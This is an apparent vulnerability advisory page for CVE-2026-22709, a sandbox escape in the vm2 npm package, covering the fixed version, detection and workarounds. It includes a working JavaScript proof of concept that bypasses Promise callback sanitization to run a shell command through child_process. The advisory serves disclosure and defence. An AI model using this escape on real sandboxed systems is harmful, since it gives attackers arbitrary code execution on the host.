CVE-2026-22709 is a critical-severity (CVSS 9.8) Code Injection vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
vm2 has a Sandbox Escape
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22709.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })"
);
f();
});
`;
new VM().run(code);
In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.10.2npm install vm2@3.10.2 |
Affected Products
vm2vm2_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22709 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-22709 in your dependencies?
Find it across npm, including transitive dependencies.